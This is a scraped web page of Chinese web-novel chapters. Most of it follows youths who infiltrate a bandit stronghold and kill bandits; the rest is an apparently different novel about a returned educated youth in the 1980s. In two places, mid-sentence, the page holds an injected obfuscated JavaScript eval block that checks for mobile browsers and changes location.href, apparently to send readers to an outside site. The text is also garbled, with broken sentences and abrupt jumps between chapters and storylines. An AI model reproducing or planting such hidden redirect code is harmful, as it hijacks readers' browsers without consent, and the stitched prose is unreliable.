温一茂想也不想就道了声:“好!加我一个!我早就受够了!” 温一荣绷着脸,“也加我一个。” 家里人成天为此提心吊胆,庄稼被毁院墙被扒,甚至被逼得要背井离乡逃亡关外,而现在竟然连逃都逃不了,他身为长孙身为长兄,难道他就无动于衷吗? 半大小子周凯挠了挠头,悄咪咪瞥了眼舅舅,出声道:“那我也一起,我带你们进山!” 众人望过来,他解释:“镇上酒楼的大厨被土匪掳走给他们做饭,我刚好认识那厨子的徒弟,我们可以扮作他的徒弟混进去。” “而且开年后我跟着镖局师傅走了趟镖,如今我的拳脚功夫使得很不错。” 听见这话,温苒从霍骁北随身带的挎包里掏出一袋两斤的蒙汗药,哐砸在桌上,“这是药!” 时间紧现做来不及了,这是她在系统商城现买的,这个浓度这个剂量别说几十个土匪,鲸鱼来了也得沉底。 药有了,混进去的办法也有了,那还等什么? 五个年轻人齐齐转头,目光汇聚在一直沉默不语的宋守言身上。 温苒:“宋叔!” 宋守言胳膊往后抽出烟斗塞嘴里,没加烟絮也没点火,干叼着思考。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505413|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你们想好了,去了很可能是个死,不去咱们立马动身去关外,照样也能活得好好的!” 温一荣开口,嗓音干涩,话语却掷地有声:“要我抛下家人替我去死我才能活着,那我就是猪狗不如!是个畜生!” 温一茂重重点头,“对!我才不当畜生!大不了就是个死,我死也要拉个土匪当垫背的!” 宋守言笑了,笑声畅快,“那还等什么?赶紧去啊!家里人有我看着,你们早去早回,回来咱们就动身去关外!” 他起身,背着走往外走,“就这么说定了!” 五个年轻人对视,温苒一个眼神,大家不约而同围到桌子前面。 温苒开口,有条不紊地安排计划:“小凯你带大哥去找大厨的家人……” ** 温一茂生的人高马大,和霍骁北齐头了都,饭量大力气也大,这俩人出去‘采买装备’运回来。 自然说是采买,实际上是霍骁北从系统包裹里攒的库存中挑选。 周凯和温一荣找到大厨家说服对方配合,他们扮作大厨的徒弟和家人进山,到时他们留下另有目的,而大厨和他的儿子可以偷溜下山。 下山后,大厨一家是留是逃就不归他们管了。 下晌,五个人在小院汇合,做最后的伪装。 温苒顶着一头狗啃的短发给四个人上妆,转身的时候露出后面短短的鼠尾辫。 一个涂白,一个脸上画上长疤,一个头发弄上简易的白色挑染,一个眉毛加粗,另外边边角角的细节也修饰出来,力图亲爹亲娘来了都要迟疑着不敢认。 弄好后五个人带着装备出发,先和大厨儿子汇合,然后直奔梅岭山。 暮色降临,一行人才到达梅岭山脚下。 最后核对一遍待会儿的计划流程,确保无误后,上山! 土匪的山寨建在了半山腰上,是个四进的大院子,日落后除了两个开大门的,其余人都去灶房开饭了。 大厨的儿子挎着大包小包,深吸一口气,战战兢兢上前,“两位爷。” 两个看门土匪各占一边门框靠着打瞌睡,闻言懒洋洋睁开眼,“哟你们这些人是?” 大厨儿子说明来意:“家父先前是镇上酒楼的厨子,多日前来府上灶房做工,家父一向身体不大好,家母担忧家父身体,就让小的过来送几件衣服。” 做工?做白工吗? 土匪听了这话抱着肚子直笑,“你这人说话还挺好听,行了你进去吧,这些人跟你一起的?” 他眯着眼望向后头一群人。 霍骁北闻言上前,“我等是师父的徒弟,师父有事弟子服其劳,我等商量后前来投奔师父。” 嚯! 两个土匪一下来精神了,知不知道他们这儿是土匪窝?旁人躲都来不及你们上赶着来? 不过,土匪咧嘴笑了笑,笑得不怀好意,“还挺孝顺,行了,一起进去吧。” 几个厨子而已。 一行人顺利过关。 不多时,土匪大院外又有几人出现。 看门土匪就地咕噜一下爬起来,恭恭敬敬喊:“大当家。” 沙麻金点点头,随口介绍身旁的男人,“这是县衙的刘捕快,今天的贵客。” 两个小弟规矩地问好。 沙麻金和刘捕快进了大门,两个土匪隐约听到身后传来大当家的声音:“镖局下一趟出镖的时间确定后,麻烦刘兄弟派人过来捎个信,事成之后沙某定会重重有谢!” 刘捕快抱拳拱手,笑着道:“好说好说!” 没想到这土匪头子的日子过得比县太爷也不差什么,出入有仆从随行,还住着这般大的宅子,下人们—— 哎? 这个下人怎么瞅着这么眼熟? 36. 第 36 章 院墙拐角处,周凯猛地缩回脑袋,整个人绷直了贴在墙上犹如惊弓之鸟一般。 见前面不走了,温苒扒着霍骁北手臂,踮起脚从他身后探出脑袋来询问:“怎么了?” 周凯两个手背来回抹拉脑门上的冷汗,大喘着气压低声音说:“我看到了县衙的刘捕快,他也看到我了,我担心他认出我来?” 十几年的□□直隶百姓哀鸿遍野,周凯的父母也死在了那场天灾中,时不过三岁的周凯被失去妻儿的舅舅宋守言收养。 舅舅宋守言是个童生,周凯自然也读过圣贤书,识文断字不在话下,进镖局做工后文书算账相关的事务他多有涉及,时常跟师傅们去衙门登记办理文书,因此和衙门的吏差混得很熟。 这刘捕快就是镖局的镖头在县衙里交好的一员,他怎么会在这里? 周凯眉头皱成小山,忍不住抻头回看了一眼。 那群人已经走远,拐进月亮门很快不见了身影。 大厨儿子听见周凯这话吓得腿直哆嗦,急吼吼地转身,“那还不赶紧跑?” 温苒飞快把他拽回来,“慌什么?慌慌张张的让土匪看到了会疑心,先冷静,我们去找你爹。” 一行人朝着院子上方的炊烟寻过去。 路上温一茂安慰大厨儿子:“大男人别这么孬,脸都白成这样了,来之前不就知道这是土匪窝,有命出去是咱捞着了,没命就干他丫的!你可是来救你爹的!我小弟都没怕你怕个蛋啊?” 温·小弟·苒:“……” 不会说话就别说。 她扭头拽过周凯来询问,“确定这里来了县衙的捕快吗?” 周凯紧了紧肩上背的包袱,用力点头:“确定!先前我们镖局的师傅还请对方吃过饭,我在席上给他们倒酒,不会认错的!” 温苒绷着涂得黢黑的小脸,神情严肃起来。 周凯的心脏瞬间提到嗓子眼,他吞了吞口水,急于求证:“刘捕快看到了我,但他没过来,是不是没把我认出来?” 温苒摇头,“不管认没认出来,待会儿咱们到了灶房你都躲好别露面。” 周凯忙不迭点脑袋:“我肯定躲好!” 他们到时,灶房里大厨还独自忙活着。 这窝土匪数量不少,个个好斗争胜,每餐都要干一桶饭。 偌大的灶房就酒楼大厨一个人呢,这几日回回到了饭点铲子都得挥冒烟,一天下来胳膊都不是自己的,加上提心吊胆地睡不好吃不下,半个月下来他的大肚腩都消下去了一半。 因而一见到来的这几人,大厨就痛哭流涕到不能自已。 别说让他认徒弟,让他认孙子、让他当孙子都行! “都先别说了,前头兄弟们等吃饭呢。” 大厨也没当场说就要走,抄起锅铲继续翻炒,顺手点点这个那个都安排上活计,还和温苒等人介绍这边的情况。 “这山上的土匪约莫有三头四十,十来个很能打的,都杀过人。” “这么些土匪只有个大当家拿事,大当家手上有把枪,据说是在天津卫杀了个洋人,从洋人身上摸来的。因为这事大当家怕被抓住,一路逃一路收了这么些个兄弟才到咱这边来。” “我每天就给他们做做饭菜,倒也没啥人过来找事儿。” “这院里除了我是被掳来的,旁边小院还关着几个女人,听动静也是被抢来的。” 大厨压着声音唯恐被土匪听到他在蛐蛐,一边讲他眼睛一面滴溜溜转着张望。 “你们商量好,待会儿上饭上菜出两个人跟我一起去前头。” 出两个人,温苒拨拉一下队友,不自觉皱起脸。 二哥性子憨直,说傻是真没到那个地步,至少他知道什么时候能动手什么时候要听话,他就是不怎么机灵,在土匪窝里绝不能让他单独行动。 大哥倒是能随机应变,但他武力值不高。 周凯拳脚功夫不错,但有刘捕快在,他能不露面就不露面的好。 霍骁北怎么着都可以。 温苒是有点问题,她不能撒谎,她一撒谎就容易结巴脸红,虽然现在脸涂黑了,但这是土匪窝,万一有个万一那可不完犊子了? 所以能担事的霍骁北和大哥温一荣得一边一个。 饭菜出锅装好,饭菜之外是几桶蛋花汤,汤里拌了两斤蒙汗药,谁喝谁倒。 温苒做下决定:“霍骁北你和二哥跟师傅去送饭。” 霍骁北皱眉,“你跟我一起。” 温苒推他,“你放心,如果来人就让大哥应付,不会有事儿的。” 正说着,外头来人了。 腰上挎着大刀的土匪踢开门骂骂咧咧:“人呢?” 一瞅屋里这老多人,他愣了下,疑问:“你们是新来的厨子?” 大厨提着心脏往前,“是是是,这些是我徒弟,过来投奔我。” 大厨这么说,土匪没有丝毫怀疑。 毕竟他怎么也想不到,这区区几个人敢主动进土匪窝要他们的命! “那感情好,我们沙老大要请客,你赶紧带他们弄一桌好饭好菜呈过去!” 土匪说完转身就走。 人一走,大厨父子俩齐齐抬手抹汗。 大厨挥手,“快走,咱们把饭菜送到得赶紧回来准备大当家要的席面。” 周凯赶忙出声:“要不我去送吧?他们要请的客人应该是刘捕快,刘捕快和大当家在一起,我去给别的土匪送饭正好能错开。” 霍骁北马上让出机会,“你和大哥一起。” 大厨催促,“快别磨蹭,我们去送饭菜,你们赶紧把其他东西拾掇出来!” 温一荣和周凯抱起饭桶跟上,送饭组三人急匆匆送了一趟又一趟。 这边为了赶时间,未经大厨允许,霍骁北拿起大勺掌上了灶。 土匪一路烧杀抢掠积累的财富惊人,单是灶房里就堆满了肉蛋鸡鸭大米白面,还有稀罕的山货海货,各种食材应有尽有。 回锅肉辣子鸡麻婆豆腐地三鲜…… 大厨送完饭菜回来,见已经出锅这老多菜,下意识涌上领地被侵犯的愤怒,待闻到个中香气忍不住抽出筷子品尝。 这味道,好吧,他原谅这个以下犯上的‘徒弟’了。 大厨品着菜式,再抬头看霍骁北眼睛里放出光来,好苗子啊! 温苒看他不经允许就夹菜吃,不由庆幸,好悬她还没放蒙汗药呢。 先前挎刀的土匪过来催促,闻到满屋子的菜香夸了两句大厨的手艺,拉长的表情舒展开来,“我先端两盘,你们搞快点!弄好就赶紧上!” 许是听说这边新来了几个厨子,接下来陆续有三五成群的土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但刘捕快疑心重,他总觉得这个老叔很眼熟,先前进来时瞧见一次,刚才路过饭堂看到这人走路的姿势就更眼熟了。 他疑心是哪个犯了事的,盘算着抓住了回去衙门领赏钱,所以才过来这么一趟。 大厨适时出声,配合地发火:“他是你老叔?你们刚才可不是这么说的!你们说他是少白头,人年纪不大,只是长得着急而已!” 二哥温一茂这时不知道犯什么机灵,猛一拽周凯,两人突然下跪:“师父您行行好!别赶我们走!” “你们!你们!”大厨气愤地指着两人,说不出来话来干脆背过身去,“山上人手不够,我就留下你们,但是下不为例!” 温一茂赶紧拽着周凯哐哐磕头,“多谢师父!多谢师父!” 大厨抹把脸,转向刘捕快,赔着笑道:“让刘大人见笑了,他们刚来还不熟悉,这才耽误了沙大当家要的席面,我待会儿狠狠教训他们,劳您和大当家稍等片刻。” 刘捕快神情微松,点了点头,背着手转身往外走。 众人见状正要松口气,却见他倏然回头,抽出大刀快步朝地上跪着的两人靠近。 刀尖指向周凯,刘捕快眯起眼,“你,抬起头来。” 37. 第 37 章 周凯浑身僵硬冷汗直冒,大脑完全不知道思考。 听见命令,他下意识跟着动作,竟真的要抬头。 温苒一看不好,手往背后伸,借着昏暗光线从系统包裹里取出电棍,用尽全力抡起来—— 电棍带起风声,刘捕快耳朵动了动,刚要回头手腕却被一股大力捏住。 温一荣发了狠,用他一顿八个菜窝头的力气,几乎要捏碎手下的骨头,接着趁对方疼痛松力,成功夺走大刀。 周凯关键时刻回神,唯恐对方喊出声来,拔下靴子就塞到对方嘴里。 而这时,长棍已至,砰—— 温苒一击即中后脑勺。 刘捕快嚯地瞪大一瞬眼睛,随后眼皮坠下,身体像摊烂泥一样软倒。 咚—— 砸在了地上。 霍骁北反应最快,抄起擀面杖飞身跃过灶台,赶紧照着刘捕快后脑勺补了一棍子。 温一荣紧随其后反应过来,身形如电,眨眼间越过怔愣的大厨父子蹿到门口。 确认没人看到,关门,然后回头抹汗,“现在该怎么办?” 短短不到一分钟,五个人配合默契,完成了关门打狗的临时行动。 虽然关门在后,打狗在前。 这时大厨父子恍然回神。 看到趴在地上不省人事的刘捕快,愤怒涌上大厨心头,他懊恼地埋怨:“你们、你们怎么能这么对刘捕快?等他醒过来我们一个都走不了!” 温苒踢了踢地上晕死的刘捕快,冷声回道:“那就不让他醒过来。” 灶房陷入死寂,一时只有此起彼伏的沉重呼吸。 就在这时,安静的环境里闯入一簇脚步声。 气氛瞬间紧张起来。 温苒给了霍骁北一个眼神,他弯腰薅起刘捕快的后衣领,拖到灶台后面,而后面无表情地加火炒菜。 二哥温一茂飞快把夺来的大刀藏粮食袋子后面,和周凯继续揉面切菜。 砰砰—— 门从外面被敲响。 “人呢?怎么还关门了还?” 温一荣下意识去看温苒,温苒冲他点了点头。 温一荣张开汗涔涔的掌心,用力在衣服上抹了两下,深吸一口气拉开了门。 门外来人一把推开他,怒冲冲进来,“菜呢?我们大当家等着请客呢!都这么长时间了还没弄好你们是白吃干饭的?” 脚边是晕倒的刘捕快,霍骁北淡定地挥着锅铲回话:“席面的菜式原本都做好了,只是刚才来了几个兄弟不由分说带走了一半,兄弟们有刀,我们不敢拦着。” 土匪脸色变了变,偏头呸了口唾沫,骂道:“什么玩意儿也敢抢大当家的东西?活腻歪了!” 他骂完看向霍骁北,“你们接着做,动作快点!做完就赶紧端过去,别磨磨蹭蹭的!当心老子砍了你们!” 土匪说着抽出刀,对着众人威胁。 放完话土匪这次也不走了,好似是怕再来不长眼的,再顺走沙麻金宴客的菜式。 他挎着大刀迈步来到桌子跟前,撤开条凳一屁股坐下,就盯着一众人开始了监工。 他这一动作把大厨父子吓够呛,连忙够着眼睛去瞥灶台后头。 要知道这灶房可没多大,桌子正对着大门,也正好在灶台侧前方不远的位置。 万一这个土匪注意到…… 父子俩个不约而同地吞了吞口水。 两人行为鬼祟,眼神不住往土匪身上瞄,那土匪也不是个傻子。 相反土匪是把脑袋别在裤腰带上过日子的,再是迟钝也察觉到了不对劲。 他蹭一下站起来,薅住大厨儿子的衣领带到跟前,表情凶狠,“你们在看什么?” 父子两人煞白着脸疯狂摇头,“没没没、没看什么!” 土匪抬脚踹开这父子俩,抽出刀大步越过灶台。 这时靠近门口的温一荣飞快关上了大门,并确认无人靠近。 土匪来到灶台后面,低下头一瞅登时面色大骇,“你呃呃呃呃——” 一阵不正常的抽搐后,土匪眼睛上翻,口吐白沫栽在地上。 霍骁北举起电棍,照着这个土匪的后脑勺,像给刘捕快一样也利索地给他来了一棍子。 大厨抽抽鼻子,有刘捕快打底,敲晕土匪好像也不是什么十分令人惊讶的事情。 他甚至主动说道:“墙角有个地窖。” 温一荣看着大门,温一茂和周凯配合着把人扔进地窖。 扔下去之前,周凯抽出大刀利索地抹了两人脖子。 血线飙出,呲了最近的温一茂一脸。 他愣愣地望着周凯。 周凯把两个死人踢下地窖,回头直视在场所有人的眼睛,“我走镖的时候就杀过人,下不了手就让我来。” 温一茂扯起袖子用力划拉脸上湿热的地方,直愣愣问:“你都杀过人了,刚才为啥怂成那样?” 周凯:“……” 周凯幽幽说道:“那还不是怕咱们的计划失败,这里这么多土匪,杀的人可比我多得多,万一刘捕快认出我来把他们都喊过来怎么办?” 周凯看向温苒,在心里庆幸还好三姐当机立断。 之前接连打晕刘捕快和土匪大厨父子都没什么,但周凯如此干净利落地抹了两个人的脖子,大厨父子从心底涌上一股寒意,嘴唇发白声音哆嗦:“咱、咱们得快、快点上席面了……” 周凯沉默着回到案板前,一言不发继续切菜。 大厨父子俩偷瞥向他、瞥向温苒一行的眼神带上了惊恐。 几人的情绪明显不对,霍骁北一边炒着菜,徐徐开口:“身为官府小吏,刘捕快却和土匪关系匪浅,官匪勾结不是什么好东西,该杀。” 大厨父子沉默,众人也沉默。 霍骁北继续说道:“这里每一个土匪手上都有人命……” 温一荣语气发寒:“也该杀!” 话说出口,温一荣就像打破了什么桎梏,通身气质染上凌厉,“不是所有土匪都喝过下了药的汤,总有漏网之鱼,待会儿我带二弟和周凯四处清理。” 他一一和在场人对视,告诉大家:“我也会杀人,但我只杀该杀之人,只杀欺辱我家人之人。” 温一茂叫他大哥这话说得热血沸腾,但他又说不出这样漂亮的话来,哼哧哼哧半晌憋得脸都红了憋出一句:“我也是!” 温苒:“……” 温苒抬起下巴,一副‘你们这都不算什么’的神情:“说这么多,第一个动手的还不是我?” 众人沉默,你别说你真别说,这丫头当时那一下果真是雷厉风行,把在场人都震懵了。 一片安静中,霍骁北说道:“今日你我身陷匪窝,不是他们死就是我们亡,别无他选。” 大厨儿子哼唧一声,抹着泪哭道:“我不想死,我想带我爹出去,我山下还有老娘还有妻儿要顾,我不想死……” “那就让他们去死!” 大厨厉声喝出这样一句后,仿佛卸了口气,突然整个人一松,笑着道:“我们父子今天就跟各位壮士混了!能出去是白捡一条命,留下来那也不枉此生,待会儿我定要拽几个土匪当垫背的!” 儿子拽了拽老子,“爹你……” 大厨压下儿子的手,“咱没本事咱就跟着有本事人走,不会错的!你跟我掂了这么些 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四人拎着饭盒排成一队,经门口的土匪指示把饭菜摆到了堂屋的大圆桌上。 霍骁北余光扫过院子,对地形和对方的人数有了清晰的了解。 沙麻金身形魁梧高大,上了点年纪约莫有三十多,相貌却意外的白皙斯文,不过即便如此也不会有人忽略他满身的血腥煞气。 他落座主位,看着席面的菜色满意点头,招手让大厨上前,“今天做得不错,听说你山下的徒弟们过来投奔你,就是这几个?” 大厨腆着笑,“回大当家,这三个,还有另外三个,现下在灶房里给兄弟们加餐。” 沙麻金顿时更满意了,“都是孝顺孩子,回去你也弄一桌席面,当作给他们接风洗尘,往后在山上好好干,我沙某不会亏待你们。” 温苒垂着脑袋,无语地翻了白眼。 大厨来了半个月一直住在灶房,连自己的房间都没有,这都算了,工钱也没说给,你这叫不亏待? 沙麻金耍完老爷气派,挥手让他们退下。 大厨带着人往出走,刚走到院里却被喊住:“停下!” 大厨转过身挤出笑来,“大当家可还有吩咐?” 沙麻金沉着脸,起身快步来到近前,微眯起眼目光锁定走在最后的霍骁北。 沙麻金挥手叫来一个手下,指着霍骁北:“你去试试。” 他说完,后退一大步。 手下二话不说照着霍骁北一拳砸上去。 霍骁北飞快闪身避过,拽着温苒,温苒拽着大厨父子,四个人齐齐后退。 沙麻金脸色一变,嗖嗖往后退,“来人!有敌袭!” 院里七八个壮硕土匪立时抽出大刀围过来,沙麻金则匆匆转身奔入屋里。 温苒一看不好,沙麻金可能是去取他的枪了,仰头放声尖叫:“大哥二哥周凯!” 垂花门外,听见呼唤三个身影加快脚步飞速靠近,争先恐后冲进了院子。 甫一踏进院子,入目就是土匪包围队友的场面。 温一茂登时红了眼,拔腿冲上前,率先给了不知道哪个土匪一刀。 鲜血迸发出来喷在脸上,衬得他双眼更加猩红,他心里只记得小妹说过的话:砍手卸刀,腰斩戮颈取命,死尸挡刀…… 温一荣和周凯也迅速加入混战。 大厨父子收到队友分的大刀,也冲进战场。 包围圈瞬间溃散。 自己这边简直杀疯了,温苒和霍骁北悄悄退出,来到正房…… 第19章【VIP】 第19章 第19章八零回城知青19 后晌快下班的时候,温苒正在南屋调试修好的收音机,不经 意间往窗外一瞥,瞥见个鼻青脸肿的猪头跑进了自家西厢。 再一听堂屋动静,哦,是去北屋了。 温苒托腮沉思,那猪头还挺眼熟的,好像是……是…… “爸!” 一声凄惨的饱含委屈的呼唤传到这边来。 温苒:“……” 是温志伟没错了。 可她让平安哥找人传闲话,可没找人群殴温志伟泄愤啊! 谁干的? 干得漂亮! 温苒嗖嗖溜到隔壁屋,在霍骁北的注视下搬了凳子坐到窗户边观察情况,“我有预感,我的计划这两天就能成。” 试想,温志伟在学校被指指点点还被打成这样,遭受着身体和心灵双重的折磨,到了家却还被告知房子没了,一般人都得气出个一二三来,更何况是温志伟这种早就把一切视作他囊中之物的霸道性格。 南屋,温志伟确实不敢相信,甚至顾不上说起他找对象的事,所有注意力都让房子被夺这个事实吸引走了。 “她怎么敢?这房子是我的!是我们的!她一个赔钱货她凭什么要家里的房子?还要夺我娘的工作?她凭什么?” 温志伟越说越愤怒。 在学校他势单力薄,打不过那么多同学,老师也因为那人的家世偏向对方,可这是在家里!他就不信他连温苒一个赔钱货一个贱皮子都制不住! 温宝昌对儿子还是很信任的,这种信任是方方面面的信任。 他觉得儿子聪明有眼界,明明家里有现成的工作却一心想考大学有更远大的出路。 他也相信儿子想考大学就一定能考上,未来一定会有出息。 尤其是和宋爱民那个又孬又蠢的货相比,温志伟在温宝昌眼里就是‘别人家的孩子’,哪哪都好,想办什么就没有办不成的。 温宝昌于是问道:“儿子你有什么想法,爸一定配合。” 温志伟皱眉思考半晌,说道:“之前温苒想害我,再让她害一次,我要房子和工作做补偿!” 这话一出,温宝昌脸色却有些不对劲。 温志伟表情不满,“爸你觉得不行?” 温宝昌赶忙摇头,“本来是没问题,但你不知道,温苒带回来的男人之前当着胡同里所有人的面,说那次是咱们陷害那丫头。” 温志伟瞪着眼睛,“他凭什么这么说?他有证据吗?他算老几他说话大家就信了?” 想起这两天遭受的白眼,温宝昌脸色不大好,“不管有没有证据,他们是信了。” 听见这话,温志伟攥紧拳头,气急败坏地锤打着桌子,嘴里骂骂咧咧:“一帮蠢货!贱人!势利眼!欺软怕硬!等我发达了我不会放过他们的!我就不信了!我非得把他们从我的房子里赶出去!” 没多久,厨房里温苒就看到这父子俩结伴出了门。 曲平安打探消息回来,一坐下就问:“刚才我看温师傅跟人走在一起,那人谁啊?” 温苒:“……温志伟。” 曲平安一口水喷了出来,顾不上震惊抹了把嘴他赶紧解释:“我可没让人对他动手啊!” 温苒点头,“我知道。” 曲平安撇撇嘴,“这俩凑到一起准没憋好屁!” 炉子边霍骁北一个眼刀飞过来,曲平安立马缩起脖子,改口:“准没商量好事……” 霍骁北盛出焖豆腐端到桌上,“吃饭。” 温苒拿碗盛饭,先夹了一筷子水煮牛肉,“好吃!” 曲平安跟完全没见过世面一样,举着筷子都不知道该往哪儿下,“我天,咱家伙食也太好了,我感觉我今天能吃四碗米饭!” 温苒替他补充,“得再加一个馒头。” 曲平安嘿嘿笑,“北哥做饭太香了嘛,我也是控制不住。” 吃着饭,曲平安说起了打探到的消息。 “温师傅没听说有相好,倒是跟他们厂里几个女同志走得很近,私底下有人议论过,其实这种情况不少见的。” “但我听说闫春芝有个两个相好,一个是通机厂的干部一个是百货大楼采购部主任,通机厂那个干部具体是谁我没打听到。” 温苒有种不出我所料的感觉,这才对嘛! 什么模范夫妻?绿帽子夫妻才对! 不过关于这点她还没想好怎么办,总不能让这俩互相抓奸吧?那也太便宜这俩人了,让她们继续给对方戴绿帽子不是更好? 温宝昌父子俩直到深夜才回来,硬是把早就关上的院门砸开,吵得几户人家都没睡好,隔空骂骂咧咧的。 温苒和霍骁北还在睡帐篷,隔音优秀,这点动静丝毫没有影响他们的睡眠质量。 接下来几天,温志伟就住下了,没再回学校。 闫春芝听见信儿,回来胡同一趟。 自从上次她和温宝昌吵架离开后就没再出现,看情况貌似是被温宝昌赶走的,据消息灵通的曲平安说她一直在宋爱民那里帮忙。 今次她好不容易能回来,拉着温志伟一顿哭哭啼啼。 “你大哥现在在外面租房子住,那房子比咱们家厨房还小,转身就能撞到。邻居也不好相处,见天说咱家坏话,还往屋前泼脏水,妈受不了了呜呜……” 她这两天请假没去上班,不然在厂里也指定不好过。 温志伟脸上伤势见好,但各种颜色还没消下去,一张脸花里胡哨的。 他叹气,“妈,你多和爸服软,我也帮你说说话,他会让你回来的,咱们才是一家人,以后咱们就一起好好过日子。” 闫春芝嘴唇动了动,“志伟,爱民是你大哥,你们是亲兄弟,你能不能跟你爸说一说,等厂里房子分下来,让爱民也过去住?” 听见这话,温志伟表情登时就不好看了。 好不容易才把这一家累赘给赶出去他高兴来不及呢,又怎么会再把人迎进来? 何况宋爱民早先就觊觎厂里给他爸分的房子,他又不是傻了,让这么一个有贼心惦记的人住进去? 温志伟用沉默表示拒绝。 闫春芝进一步哀求道:“你大哥一月工资要养一家五张嘴,还得付房租,撑不了多久的,志伟!” 温志伟不耐烦地别过头,“妈!我爸只是个普通工人,能分到多大的房子还不清楚呢!再说过两年我结婚生了孩子,我爸分的房子能不能住下还两说,哪还有地方收留外人?” 闫春芝着急去拽他,“你听妈说,你们是亲兄弟,你现在好好对你大哥,等你大哥以后有出息了也会对你好不会亏待你的……” 温志伟一把甩开他娘,蹭地起身,呼吸急促,“他连自己都养不活我不需要他的施舍!既然妈你觉得宋爱民有出息,那就让他自己买房子!” 他一脸受伤地看着闫春芝,“妈!我在学校被人围殴,受了这么严重的伤还没好,您倒好,一回来都不知道关心我,张口就全是宋爱民宋爱民宋爱民,就他是您儿子我不是吗?” 闫春芝一看也慌了,连忙安慰儿子,“妈错了,妈不提了,儿子你坐下让妈瞧瞧,天杀的哪个瘪犊子下这么狠心的手啊!” 温志伟老实坐下来,“妈,我看上我们班一个女同学,打算跟她处对象……” 闫春芝这次回来没能留下,胡同里邻居下班前她就离开了。 走的时候急匆匆的,仿佛生怕被熟人拽住骂她几句。 温苒这边,让曲平安帮她找了几个不同型号不同品牌的收音机维修,她一一拆开画下电路图,对设计自己的收音机有了思路。 时下收音机还处在模拟电路阶段,直到几十年以后的新世纪才迈入数字时 代。 模拟电路阶段的收音机经历三代更迭,从电子管到晶体管再到集成电路,体型也随之变小。 而当下国内正处于晶体管收音机的时代,国营的半导体工厂早在十多年前就实现了流水线生产。 要跟人家成名多年的大品牌竞争,不做点技术上的突破是出不了头的。 温苒于是将目光放在了集成电路收音机上面,为此她和霍骁北专门跑了几趟京导五厂,还在那里碰到了和温苒在一个村子下乡的知青林朝阳,托他的关系买到三种集成电路元件,约好下周在附近的国营饭店见面。 胡同这边,南北屋泾渭分明互不干涉,两边的人偶然碰到也全当没看到,都是冷着脸目不斜视。 当然这只是明面上,实则双方都在暗中观察对面。 温志伟在观察对面,试图寻找机会。 温苒和霍骁北也在观察对面,等待合适的时机,试图给对方创造机会。 温苒接了两单组装收音机的生意,连续几天下班时间后都去机械厂借用工具。 机械厂和通机厂一南一北,距离胡同都不算远,为了避免温宝昌得到什么信儿捣乱,温苒就没有选择通机厂。 电路焊接好,外壳请师傅浇铸出来,最后组装完成的收音机体型比市面上的收音机小一圈,轻巧不占地方,样式更规整好看,同等音量下音质也更清晰。 两台收音机转手卖出去赚了十五块钱,温苒抠出两块钱买了三斤肉。 晚上三人围在一起吃饭,当中央摆着一锅香喷喷的鹌鹑蛋红烧肉,还添了粉条腐竹豆泡,炖熟了掀锅的时候香得隔壁院小孩儿嗷嗷哭。 温苒想着对面北屋的事情,问两人:“你们能看出来吗?温志伟打算做什么?” 曲平安摇头,“我就看到,温志伟那瘪犊子经常瞥你俩屋门口,有一回他以为家里没人,还跑过来撬你们屋的锁头。别的我就不清楚了,这么多天他出门也就上个厕所去个饭店,他倒是找过别人,那人是咱们后头胡同里一个包打听。” “我恰好跟对方熟,给了一包烟,打听到温志伟在让他打听一个女同学,就那个什么局长家的姑娘,你们也早知道的。” 温苒点点头,难道温志伟是想先算计那个女同学,等傍上有权有势的岳父了再回头来教训她? 这怎么能行? “明天我们去见林朝阳,走之前不锁门,我想看看温志伟会不会出手。” 说实话,温苒有点想不到温志伟可能做什么,总不能是偷她的房产证明吧? 曲平安举手,“那我明天请一天假,躲屋里看看他想做什么。” 霍骁北给温苒夹一筷子青菜,看他:“你经常请假,厂里能答应?” 曲平安不在乎道:“反正我都决定去鹏城了,临时工能干就干不让干就不干呗,跟你俩跑,或者打听打听鹏城消息,总归现在跟你俩吃不仅饿不死我我觉着我还胖了不少!”【你现在阅读的是 】 第20章【VIP】 第20章 第20章八零回城知青20 曲平安确实帮了两人不少忙,卖手表打听消息散播消息还有买零件等等,有他这个包打听省了很多事。 温苒和霍骁北都不是会让朋友吃亏的。 霍骁北当即道:“建筑队那边你能干就接着干,另外咱们办厂的事已经在准备了,你是合伙人不会少你的工资,初期困难点,一个月包吃包住给你十五块钱工资,到了鹏城再重新安排。” 曲平安嘴里的肉都顾不上嚼了,“啊?工资?给、给给给我工资?” 他疯狂摆头,“不行不行不行!我怎么能白拿工资?” 温苒把砂锅盖子一扣,翻脸无情:“不拿工资也没有包吃包住,你别吃了。” 曲平安弱弱地缩回筷子,小心翼翼看向他北哥。 虽然知道北哥说话不顶用,但万一呢? 但果然霍骁北不给他一点希望,冷酷又无情:“那待会儿我盯着他收拾被褥。” 曲平安不敢置信,他北哥这也太没脾气了! 肚子里呱呱着,曲平安嘴上却很识相,“我拿!我拿还不行吗?” 听见这话,霍骁北看向温苒,见她点头,他才拿开砂锅盖子。 曲平安:“……” 第二天,温苒和霍骁北磨蹭到十点多才出门 曲平安躲屋里,窗帘拉上,悄咪咪观察着堂屋,就看温志伟是不是要做点什么。 京导厂附近的国营饭店。 温苒两人要了个包厢,点好菜等林朝阳出现。 说来林朝阳是77年恢复高考第一届考上大学回城的知青,虽然是个大专,但这年头学历还是很值钱的,高中毕业就属于高学历群体了。 据说他家世也不错,会和温苒一样去秦北吃苦,纯粹是他‘思想高尚’,报名下乡时主动选择了最艰苦的地方。 这话温苒其实是不大信的,她感觉更像是林朝阳脑子抽了,中二病犯了,才非要没苦硬吃。 